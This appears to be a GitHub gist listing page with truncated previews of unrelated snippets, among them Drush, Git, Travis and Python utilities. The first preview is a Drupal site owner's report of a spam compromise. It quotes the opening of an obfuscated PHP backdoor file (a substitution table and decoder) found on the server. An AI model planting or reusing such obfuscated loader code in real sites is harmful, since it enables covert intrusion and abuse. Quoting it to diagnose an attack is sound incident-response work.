This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
My host just blocked one of my drupal7 websistes for being use for massive spam. | |
Analyzing my access log, i found two script being called often and there are not a Drupal scripts: | |
/sites/all/modules/i18n/i18n_block/stats7.php | |
/modules/file/bs63d8.php | |
/sites/all/modules/i18n/i18n_block/stats7.php: | |
<?php | |
$vNWZ3B7 = Array('1'=>'6', '0'=>'e', '3'=>'8', '2'=>'L', '5'=>'v', '4'=>'M', '7'=>'2', '6'=>'s', '9'=>'r', '8'=>'q', 'A'=>'l', 'C'=>'Y', 'B'=>'S', 'E'=>'K', 'D'=>'n', 'G'=>'T', 'F'=>'C', 'I'=>'y', 'H'=>'t', 'K'=>'G', 'J'=>'9', 'M'=>'k', 'L'=>'w', 'O'=>'H', 'N'=>'x', 'Q'=>'m', 'P'=>'E', 'S'=>'j', 'R'=>'O', 'U'=>'7', 'T'=>'4', 'W'=>'X', 'V'=>'D', 'Y'=>'d', 'X'=>'Z', 'Z'=>'I', 'a'=>'z', 'c'=>'R', 'b'=>'0', 'e'=>'B', 'd'=>'N', 'g'=>'h', 'f'=>'P', 'i'=>'o', 'h'=>'W', 'k'=>'c', 'j'=>'3', 'm'=>'A', 'l'=>'a', 'o'=>'f', 'n'=>'p', 'q'=>'F', 'p'=>'b', 's'=>'5', 'r'=>'g', 'u'=>'J', 't'=>'u', 'w'=>'U', 'v'=>'V', 'y'=>'Q', 'x'=>'1', 'z'=>'i'); | |
function v5T7ETO($vQF6A3S, $vP8XOME){$v8YITRE = ''; for($i=0; $i < strlen($vQF6A |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-1|status|tag|no|name|duration|about | |
112||afx||luke vibert spiral staircase [future music competition] [afx remix]|5:05 | |
111||afx|19|[Slo]w early morning clissold sunrise|4:49| | |
110||afx|7|lsb [slo]|4:05| | |
109||afx|4|Red Calx[slo]|5:41| | |
108||Art|2|Dual Acid Ab6|4:36|94 ish, fuk knows | |
107||afx|5|How To Science 2 Ab6|4:51| | |
106||afx|4|how to science ab6|3:47| | |
105||afx|3|hollow alias ab6|2:14|ab6 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// To turn on JS Aggregation | |
drush vset preprocess_js 1 --yes | |
// To clear all Cache | |
drush cc all | |
// To disable JS Aggregation | |
drush vset preprocess_js 0 --yes | |
// To clear cache of JS and CSS only |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib | |
import os | |
import tweepy | |
import csv | |
import time | |
import PIL | |
from PIL import Image, ImageOps | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
~~ Snowball Poem ~~ | |
Snowball (also called a Chaterism): A poem in which each line is a single word, | |
and each successive word is one letter longer. One of the constrained writing | |
techniques invented by the Oulipo (Workshop of Potential Literature). | |
~~ Program Description ~~ | |
This program takes input from the file "input-raw.txt". It examines the file for |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
p=`pwd` | |
for dirname in `find . -type d -maxdepth 1 -mindepth 1` | |
do | |
if [ -d $dirname/.git ] | |
then | |
cd $dirname | |
echo `pwd` | |
git pull origin master | |
fi | |
cd $p |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#------------------------------------------ | |
# PANTHEON DEVELOPMENT WORKFLOW v1.01 | |
# Using the Pantheon CLI (terminus) v0.71 | |
#------------------------------------------ | |
# Authenticate with Pantheon. The first step, most of the time. | |
# This is a little insecure, as it lists your password here. But it's convenient. | |
alias pdw-auth='terminus auth login YOURPANTHEONEMAILADDRESS --password=YOURPANTHEONPASSWORD' | |
# Update your local Pantheon site aliases |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ | |
"node": true, | |
"browser": true, | |
"esnext": true, | |
"bitwise": true, | |
"camelcase": true, | |
"curly": true, | |
"eqeqeq": true, | |
"immed": true, | |
"indent": 4, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
''' | |
I frequently look up word meanings online. | |
It's kind of a hassle to fire up the browser, and search online after a while. | |
It's a lot easier for me to do it from the command line, when my terminal is one keyboard shortcut away. | |
I wrote this script using the wordnik api that does just that. | |
I suggest you put this somewhere in your PATH, make it executable. | |
Make sure you get a Wornik API key at http://developer.wordnik.com/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Supercharge your Travis builds with yarn | |
# Commit your lock file locally, and change your travis to this | |
language: node_js | |
node_js: | |
- "4" | |
install: | |
- npm -g install yarn | |
- yarn | |
cache: | |
directories: |
OlderNewer